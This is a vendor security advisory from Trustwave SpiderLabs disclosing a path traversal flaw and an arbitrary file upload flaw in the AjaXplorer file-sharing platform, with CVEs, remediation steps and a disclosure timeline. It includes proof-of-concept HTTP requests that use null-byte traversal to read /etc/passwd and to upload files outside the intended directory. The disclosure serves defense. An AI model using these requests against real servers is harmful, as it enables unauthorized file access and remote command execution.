AjaXplorer 1.0 - Multiple Vulnerabilities

Trustwave SpiderLabs Security Advisory TWSL2013-027:

Multiple Vulnerabilities in AjaXplorer



Published: 09/05/13

Version: 1.0



Vendor: AjaXplorer (http://ajaxplorer.info)

Product: AjaXplorer

Version affected: 5.0.2 and prior



Product description:

AjaXplorer is an open source file sharing platform which relies on PHP and

the web interface can run on various web server software, such as Apache

and Nginx.





Finding 1: Path Traversal

*****Credit: Vikas Singhal of Trustwave SpiderLabs

CVE: CVE-2013-5688

CWE: CWE-22



A path traversal vulnerability was found in the "edit" functionality of the application.

This vulnerability may allow an attacker to view files outside the website's root directory.



The following Proof of Concept (PoC) HTTP request illustrates the same.





#Request

1. GET /filemanagers/ajaxplorer/index.php?secure_token=[latest 

token]&get_action=download&dir=%2F&file=/%00../%00../%00../%00../%00../%00../%00../%00../%00../%00../etc/passwd HTTP/1.1



#Request

2. GET /filemanagers/ajaxplorer/index.php?secure_token=[latest 

token]&get_action=get_content&file=/%00../%00../%00../%00../%00../%00../%00../%00../%00../%00../etc/passwd HTTP/1.1



Finding 2: Arbitrary File Upload

*****Credit: Vikas Singhal of Trustwave SpiderLabs

CVE: CVE-2013-5689

CWE: CWE-434



Using the application's upload functionality it was possible to upload

arbitrary file outside the default directory and execute it. This may allow

an attacker to execute arbitrary commands on the web server.



Vulnerable HTTP request:



#Request

1. POST /filemanagers/ajaxplorer/index.php?secure_token=[latest 

token]&get_action=upload&xhr_uploader=true&dir=/%00../%00../data/ HTTP/1.1



Remediation Steps:

The vendor has released a fix to address these vulnerabilities.

Administrators should upgrade to AjaXplorer Core 5.0.3 or later.

Alternatively, administers can mitigate these vulnerabilities by applying

Web Application Firewall (WAF) rules.  ModSecurity

(http://www.modsecurity.org/) has added rules to the commercial rules feed

for these issues, and WebDefend has protections as well.





Vendor Communication Timeline:

8/29/13 - Vulnerability disclosed

9/03/13 - Patch released by vendor

9/05/13 - Advisory published



References

1. http://ajaxplorer.info/ajaxplorer-core-5-0-3/



About Trustwave:

Trustwave is the leading provider of on-demand and subscription-based

information security and payment card industry compliance management

solutions to businesses and government entities throughout the world. For

organizations faced with today's challenging data security and compliance

environment, Trustwave provides a unique approach with comprehensive

solutions that include its flagship TrustKeeper compliance management

software and other proprietary security solutions. Trustwave has helped

thousands of organizations--ranging from Fortune 500 businesses and large

financial institutions to small and medium-sized retailers--manage

compliance and secure their network infrastructure, data communications and

critical information assets. Trustwave is headquartered in Chicago with

offices throughout North America, South America, Europe, Africa, China and

Australia. For more information, visit https://www.trustwave.com



About Trustwave SpiderLabs:

SpiderLabs(R) is the advanced security team at Trustwave focused on

application security, incident response, penetration testing, physical

security and security research. The team has performed over a thousand

incident investigations, thousands of penetration tests and hundreds of

application security tests globally. In addition, the SpiderLabs Research

team provides intelligence through bleeding-edge research and proof of

concept tool development to enhance Trustwave's products and services.

https://www.trustwave.com/spiderlabs



Disclaimer:

The information provided in this advisory is provided "as is" without

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